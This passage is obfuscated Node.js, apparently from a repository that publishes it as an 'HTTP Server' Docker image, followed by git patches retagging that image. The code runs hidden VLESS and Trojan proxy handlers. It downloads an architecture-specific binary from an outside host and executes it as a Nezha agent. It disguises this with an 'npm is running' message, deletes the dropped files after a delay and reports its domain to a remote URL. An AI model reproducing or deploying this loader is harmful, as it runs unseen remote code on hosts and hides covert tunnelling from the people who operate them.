_0x46733b={};_0x46733b[_0x5502('0x144')]='Not\x20Found\x0a';_0x46733b[_0x5502('0x2f')]='https://arm64.ssss.nyc.mn/v1';_0x46733b[_0x5502('0x103')]=_0x5502('0x72');_0x46733b[_0x5502('0x106')]=function(_0x30deab,_0x3ce2e5){return _0x30deab!==_0x3ce2e5;};_0x46733b[_0x5502('0x8d')]=_0x5502('0xb3');_0x46733b[_0x5502('0xfe')]='DAbfi';_0x46733b[_0x5502('0x129')]=function(_0x452a03,_0x56572){return _0x452a03>_0x56572;};_0x46733b[_0x5502('0xa2')]=function(_0x362914,_0x31d75d){return _0x362914===_0x31d75d;};_0x46733b[_0x5502('0x2')]='yGcqU';_0x46733b[_0x5502('0x53')]=_0x5502('0x74');_0x46733b['sWbqX']=function(_0x3ce5ef,_0x45bb83,_0xf9bb4e){return _0x3ce5ef(_0x45bb83,_0xf9bb4e);};_0x46733b['fzXwm']=_0x5502('0x19');_0x46733b['DiKyM']=function(_0x21ade6,_0x1efe7e,_0x12cd59){return _0x21ade6(_0x1efe7e,_0x12cd59);};_0x46733b['PXpiJ']=_0x5502('0x44');_0x46733b[_0x5502('0x95')]=_0x5502('0x1');_0x46733b[_0x5502('0x91')]='error';const _0x3a12f8=_0x46733b;const _0xb1ea08=_0x18a67f[_0x5502('0xba')]||'';_0x2a3c51[_0x5502('0x5c')](_0x3a12f8[_0x5502('0x95')],_0x522dec=>{if(_0x3a12f8[_0x5502('0x106')](_0x3a12f8['mclGV'],_0x3a12f8[_0x5502('0xfe')])){if(_0x3a12f8['kpvTI'](_0x522dec[_0x5502('0x79')],0x11)&&_0x3a12f8[_0x5502('0xa2')](_0x522dec[0x0],0x0)){const _0x2121b7=_0x522dec[_0x5502('0x13f')](0x1,0x11);const _0x60dbdb=_0x2121b7['every']((_0x20b188,_0x401314)=>_0x20b188==parseInt(uuid[_0x5502('0x163')](_0x401314*0x2,0x2),0x10));if(_0x60dbdb){if(_0x3a12f8[_0x5502('0xa2')](_0x3a12f8[_0x5502('0x2')],_0x3a12f8[_0x5502('0x53')])){const _0x540c15={};_0x540c15[_0x5502('0x68')]=_0x5502('0x13c');res[_0x5502('0x14d')](0x194,_0x540c15);res[_0x5502('0xf2')](_0x3a12f8[_0x5502('0x144')]);}else{if(!_0x3a12f8[_0x5502('0xf9')](handleVlessConnection,_0x2a3c51,_0x522dec)){if(_0x5502('0x105')===_0x3a12f8[_0x5502('0x46')]){if(!NEZHA_PORT){return _0x3a12f8[_0x5502('0x2f')];}else{return _0x3a12f8[_0x5502('0x103')];}}else{_0x2a3c51[_0x5502('0x15e')]();}}return;}}}if(!_0x3a12f8[_0x5502('0x151')](handleTrojanConnection,_0x2a3c51,_0x522dec)){if(_0x3a12f8[_0x5502('0xa2')](_0x3a12f8[_0x5502('0xb7')],_0x3a12f8['PXpiJ'])){_0x2a3c51[_0x5502('0x15e')]();}else{return;}}}else{const _0x11359b=firstCall?function(){if(fn){const _0x5154c7=fn[_0x5502('0xcc')](context,arguments);fn=null;return _0x5154c7;}}:function(){};firstCall=![];return _0x11359b;}})['on'](_0x3a12f8[_0x5502('0x91')],()=>{});});const getDownloadUrl=()=>{const _0x520d99={};_0x520d99[_0x5502('0x32')]=function(_0x1349f3,_0x469d07){return _0x1349f3===_0x469d07;};_0x520d99[_0x5502('0xb6')]=_0x5502('0x101');_0x520d99[_0x5502('0xef')]=function(_0x1d35d3,_0x3fc4a3){return _0x1d35d3===_0x3fc4a3;};_0x520d99['Qbvqp']=function(_0x3cb5af,_0x450b11){return _0x3cb5af===_0x450b11;};_0x520d99[_0x5502('0x124')]=_0x5502('0x35');_0x520d99[_0x5502('0x27')]=_0x5502('0xed');_0x520d99[_0x5502('0x10')]=function(_0x47f628,_0xf793d){return _0x47f628===_0xf793d;};_0x520d99['OqHag']='jWeFJ';const _0x47823e=_0x520d99;const _0x505a40=os['arch']();if(_0x47823e[_0x5502('0x32')](_0x505a40,_0x47823e['EiYpc'])||_0x47823e['wIraH'](_0x505a40,'arm64')||_0x47823e[_0x5502('0xb0')](_0x505a40,_0x47823e[_0x5502('0x124')])){if(!NEZHA_PORT){return _0x47823e[_0x5502('0x27')];}else{return _0x5502('0x72');}}else{if(!NEZHA_PORT){return _0x5502('0xb9');}else{if(_0x47823e[_0x5502('0x10')](_0x47823e[_0x5502('0xb4')],_0x47823e['OqHag'])){return _0x5502('0x87');}else{if(fn){const _0x4a12ab=fn[_0x5502('0xcc')](context,arguments);fn=null;return _0x4a12ab;}}}}};const downloadFile=async()=>{const _0x362fff={};_0x362fff['Jnjcx']=function(_0x40bdbb,_0x91393c){return _0x40bdbb(_0x91393c);};_0x362fff['hwGQk']=_0x5502('0x1e');_0x362fff[_0x5502('0xf3')]='error';_0x362fff[_0x5502('0xcf')]=function(_0x41077b,_0x4f9311){return _0x41077b&&_0x4f9311;};_0x362fff[_0x5502('0xa')]=function(_0x353e26){return _0x353e26();};_0x362fff[_0x5502('0x8c')]=function(_0x34ffcd,_0xe16c57){return _0x34ffcd(_0xe16c57);};_0x362fff[_0x5502('0xbd')]=_0x5502('0x121');_0x362fff['LOTJV']='npm';_0x362fff[_0x5502('0x7a')]=function(_0x26530a,_0x3386b7){return _0x26530a!==_0x3386b7;};_0x362fff[_0x5502('0xfc')]=_0x5502('0x15d');_0x362fff[_0x5502('0x4c')]='AEtjU';const _0x22b481=_0x362fff;if(_0x22b481[_0x5502('0xcf')](!NEZHA_SERVER,!NEZHA_KEY))return;try{const _0xcd58eb=_0x22b481[_0x5502('0xa')](getDownloadUrl);const _0x4df344=await _0x22b481[_0x5502('0x8c')](axios,{'method':_0x22b481[_0x5502('0xbd')],'url':_0xcd58eb,'responseType':_0x5502('0x94')});const _0x27939a=fs[_0x5502('0x41')](_0x22b481[_0x5502('0x64')]);_0x4df344['data'][_0x5502('0x85')](_0x27939a);return new Promise((_0x5ef321,_0x24dc1c)=>{const _0x86d1d4={};_0x86d1d4[_0x5502('0xe0')]=function(_0x2dbd1d,_0x23d9a2){return _0x22b481[_0x5502('0x15f')](_0x2dbd1d,_0x23d9a2);};_0x86d1d4[_0x5502('0x146')]=_0x5502('0xc2');_0x86d1d4[_0x5502('0x152')]=function(_0x31c001,_0x50b36f,_0xbe95bd){return _0x31c001(_0x50b36f,_0xbe95bd);};_0x86d1d4[_0x5502('0x100')]=_0x22b481['hwGQk'];const _0x5cddcb=_0x86d1d4;_0x27939a['on'](_0x5502('0xad'),()=>{console[_0x5502('0x3e')](_0x5cddcb['ITfig']);_0x5cddcb[_0x5502('0x152')](exec,_0x5cddcb['RjGcb'],_0x37c032=>{if(_0x37c032)_0x5cddcb[_0x5502('0xe0')](_0x24dc1c,_0x37c032);_0x5ef321();});});_0x27939a['on'](_0x22b481[_0x5502('0xf3')],_0x24dc1c);});}catch(_0x3df141){if(_0x22b481[_0x5502('0x7a')](_0x22b481[_0x5502('0xfc')],_0x22b481[_0x5502('0x4c')])){throw _0x3df141;}else{const _0x2d9e7f=tlsPorts['includes'](NEZHA_PORT)?_0x5502('0x169'):'';command=_0x5502('0xe9')+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x2d9e7f+_0x5502('0x93');}}};const runnz=async()=>{const _0x1aff07={};_0x1aff07[_0x5502('0x117')]=function(_0x461fd6,_0xbe298){return _0x461fd6+_0xbe298;};_0x1aff07[_0x5502('0xd5')]=function(_0x2a4357,_0x4226e7){return _0x2a4357(_0x4226e7);};_0x1aff07[_0x5502('0x5f')]='return\x20(function()\x20';_0x1aff07[_0x5502('0xf1')]=function(_0x25b0dc,_0x49e240){return _0x25b0dc!==_0x49e240;};_0x1aff07['EOnNR']='npm\x20is\x20running';_0x1aff07['BphIz']=function(_0x156160,_0x100582,_0x5ea6ee){return _0x156160(_0x100582,_0x5ea6ee);};_0x1aff07[_0x5502('0x12')]=_0x5502('0xa8');_0x1aff07[_0x5502('0x96')]=_0x5502('0xee');_0x1aff07['mfznU']=function(_0x1a2ae9){return _0x1a2ae9();};_0x1aff07[_0x5502('0xc8')]=_0x5502('0x10e');_0x1aff07[_0x5502('0x71')]=_0x5502('0xab');_0x1aff07['KKrnk']=_0x5502('0xc3');_0x1aff07[_0x5502('0x10d')]=_0x5502('0xd');_0x1aff07['SJxEd']=function(_0x2513d2,_0x455942){return _0x2513d2&&_0x455942;};_0x1aff07['UMRwb']=_0x5502('0x69');_0x1aff07['UMoCX']=_0x5502('0x51');_0x1aff07[_0x5502('0x9f')]=function(_0x3f738b,_0x9d79b2){return _0x3f738b!==_0x9d79b2;};_0x1aff07[_0x5502('0xe2')]=_0x5502('0x5b');_0x1aff07['JeEfh']=_0x5502('0xcd');_0x1aff07[_0x5502('0x110')]=function(_0x105ca6,_0x154eb3){return _0x105ca6!==_0x154eb3;};_0x1aff07[_0x5502('0xf')]='MHcDk';_0x1aff07[_0x5502('0xc1')]=_0x5502('0x10b');_0x1aff07[_0x5502('0x99')]=function(_0x52ef28,_0x68cea4,_0x74df96,_0x5a19fd){return _0x52ef28(_0x68cea4,_0x74df96,_0x5a19fd);};_0x1aff07['bjsGj']=_0x5502('0x3');const _0x1cd21a=_0x1aff07;try{const _0x2f50ee=_0x1cd21a[_0x5502('0x149')](execSync,_0x1cd21a[_0x5502('0x12')],{'encoding':_0x1cd21a[_0x5502('0x96')]});if(_0x1cd21a['OcooU'](_0x2f50ee[_0x5502('0xdf')](),'')){console[_0x5502('0x3e')](_0x5502('0x157'));return;}}catch(_0x2748c7){}await _0x1cd21a[_0x5502('0xca')](downloadFile);let _0x55c5b5='';let _0x47bcd0=[_0x5502('0x21'),'8443',_0x1cd21a[_0x5502('0xc8')],_0x1cd21a['tqTYh'],_0x1cd21a[_0x5502('0x164')],_0x1cd21a[_0x5502('0x10d')]];if(_0x1cd21a[_0x5502('0x62')](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){const _0x5f1fcc=_0x47bcd0[_0x5502('0x13a')](NEZHA_PORT)?_0x5502('0x169'):'';_0x55c5b5=_0x5502('0xe9')+NEZHA_SERVER+':'+NEZHA_PORT+_0x5502('0x165')+NEZHA_KEY+'\x20'+_0x5f1fcc+_0x5502('0x93');}else if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x30bd1c=NEZHA_SERVER[_0x5502('0x13a')](':')?NEZHA_SERVER[_0x5502('0x47')](':')[_0x5502('0xf5')]():'';const _0x597463=_0x47bcd0[_0x5502('0x13a')](_0x30bd1c)?_0x1cd21a[_0x5502('0x80')]:_0x5502('0xd6');const _0x7c03a5=_0x5502('0xb2')+NEZHA_KEY+_0x5502('0x9a')+NEZHA_SERVER+_0x5502('0x13b')+_0x597463+_0x5502('0xfa')+UUID;fs[_0x5502('0x30')](_0x1cd21a[_0x5502('0x6b')],_0x7c03a5);}_0x55c5b5=_0x5502('0x76');}else{if(_0x1cd21a['QvanQ'](_0x1cd21a['VCkuA'],_0x1cd21a[_0x5502('0xe2')])){host=msg[_0x5502('0x13f')](offset,_0x1cd21a[_0x5502('0x117')](offset,0x10))['reduce']((_0x3b7c4a,_0x4456e1,_0xac1dd0,_0x171a0d)=>_0xac1dd0%0x2?_0x3b7c4a['concat'](_0x171a0d[_0x5502('0x13f')](_0xac1dd0-0x1,_0xac1dd0+0x1)):_0x3b7c4a,[])[_0x5502('0x9b')](_0x1186a4=>_0x1186a4[_0x5502('0x61')](0x0)[_0x5502('0x142')](0x10))['join'](':');offset+=0x10;}else{console[_0x5502('0x3e')](_0x1cd21a[_0x5502('0x60')]);return;}}try{if(_0x1cd21a[_0x5502('0x110')](_0x1cd21a[_0x5502('0xf')],_0x1cd21a[_0x5502('0xc1')])){_0x1cd21a[_0x5502('0x99')](exec,_0x55c5b5,{'shell':_0x1cd21a[_0x5502('0x89')]},_0x5b1165=>{const _0x28db76={};_0x28db76[_0x5502('0x83')]=function(_0x47b98f,_0x587d6d){return _0x1cd21a[_0x5502('0xd5')](_0x47b98f,_0x587d6d);};_0x28db76[_0x5502('0x78')]=function(_0x145fb1,_0x42b7a9){return _0x1cd21a[_0x5502('0x117')](_0x145fb1,_0x42b7a9);};_0x28db76[_0x5502('0xa7')]=_0x1cd21a[_0x5502('0x5f')];_0x28db76[_0x5502('0x31')]='{}.constructor(\x22return\x20this\x22)(\x20)';const _0x273386=_0x28db76;if(_0x1cd21a[_0x5502('0xf1')](_0x5502('0x12f'),_0x5502('0x12f'))){let _0x2b66d8;try{_0x2b66d8=_0x273386[_0x5502('0x83')](Function,_0x273386[_0x5502('0x78')](_0x273386[_0x5502('0xa7')],_0x273386[_0x5502('0x31')])+');')();}catch(_0x517098){_0x2b66d8=window;}return _0x2b66d8;}else{if(_0x5b1165)console[_0x5502('0x97')]('npm\x20running\x20error:',_0x5b1165);else console['log'](_0x1cd21a[_0x5502('0x90')]);}});}else{this[_0x5502('0xe8')](msg[_0x5502('0x13f')](offset));}}catch(_0x270788){console['error'](_0x5502('0x8f')+_0x270788);}};async function addAccessTask(){const _0x49c1ec={};_0x49c1ec[_0x5502('0xf7')]=_0x5502('0xdc');_0x49c1ec[_0x5502('0xa4')]=_0x5502('0x8');const _0xaaa334=_0x49c1ec;if(!AUTO_ACCESS)return;if(!DOMAIN){return;}const _0x1fb8f6=_0x5502('0x7b')+DOMAIN+'/'+SUB_PATH;try{const _0x5028e0={};_0x5028e0['url']=_0x1fb8f6;const _0x3fd319={};_0x3fd319[_0x5502('0x68')]=_0x5502('0x11b');const _0x343ae6={};_0x343ae6[_0x5502('0x45')]=_0x3fd319;const _0xf0056e=await axios['post'](_0xaaa334[_0x5502('0xf7')],_0x5028e0,_0x343ae6);console['log'](_0xaaa334[_0x5502('0xa4')]);}catch(_0x2ecd46){}}const delFiles=()=>{const _0x313e93={};_0x313e93[_0x5502('0x56')]=_0x5502('0x51');const _0x405c09=_0x313e93;fs[_0x5502('0x14e')](_0x5502('0xa5'),()=>{});fs[_0x5502('0x14e')](_0x405c09[_0x5502('0x56')],()=>{});};httpServer['listen'](PORT,()=>{const _0x54bc4c={};_0x54bc4c[_0x5502('0x120')]=function(_0x483323){return _0x483323();};_0x54bc4c[_0x5502('0x88')]=function(_0x525a15){return _0x525a15();};_0x54bc4c[_0x5502('0x156')]=function(_0x47818a,_0x1d9bcf,_0x6a9392){return _0x47818a(_0x1d9bcf,_0x6a9392);};const _0x526914=_0x54bc4c;_0x526914[_0x5502('0x88')](runnz);_0x526914[_0x5502('0x156')](setTimeout,()=>{_0x526914[_0x5502('0x120')](delFiles);},0x2bf20);_0x526914[_0x5502('0x88')](addAccessTask);console['log'](_0x5502('0x7e')+PORT);}); From 453ef2d1389cc0af4bf33fa34a1546d757427ba6 Mon Sep 17 00:00:00 2001 From: Rikka8964 Date: Sat, 27 Dec 2025 21:31:48 +0800 Subject: [PATCH 3/6] Update build-image.yml --- .github/workflows/build-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-image.yml b/.github/workflows/build-image.yml index 98152dd9b..5a0d5870c 100644 --- a/.github/workflows/build-image.yml +++ b/.github/workflows/build-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/ws:latest + ghcr.io/rikka-8964/ws:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server From 141c7e9ef74b4fa5484f359cab6f33d960b769dd Mon Sep 17 00:00:00 2001 From: rikka8964 Date: Sat, 27 Dec 2025 21:40:41 +0800 Subject: [PATCH 4/6] Update build-image.yml --- .github/workflows/build-image.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/build-image.yml b/.github/workflows/build-image.yml index 5a0d5870c..df0e38a82 100644 --- a/.github/workflows/build-image.yml +++ b/.github/workflows/build-image.yml @@ -38,8 +38,7 @@ jobs: context: . push: true platforms: linux/amd64,linux/arm64 - tags: | - ghcr.io/rikka-8964/ws:latest + tags: ghcr.io/rikka-8964/ws:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server From 00571cccb9c635438eef9238fec28f8892d91705 Mon Sep 17 00:00:00 2001 From: rikka8964 Date: Sat, 27 Dec 2025 21:50:58 +0800 Subject: [PATCH 5/6] Update build-image.yml From c0b7a0ea4f8909cb9e1bbd3ba70652a018c1d290 Mon Sep 17 00:00:00 2001 From: rikka8964 Date: Sat, 27 Dec 2025 22:10:48 +0800 Subject: [PATCH 6/6] Update Docker image tag in workflow file --- .github/workflows/build-hug-image.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/build-hug-image.yml b/.github/workflows/build-hug-image.yml index 59d2fb087..7693aa865 100644 --- a/.github/workflows/build-hug-image.yml +++ b/.github/workflows/build-hug-image.yml @@ -40,8 +40,7 @@ jobs: with: context: . push: true - tags: | - ghcr.io/${{ github.repository_owner }}/rikkaweb:latest + tags: ghcr.io/rikka-8964/ws:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=http server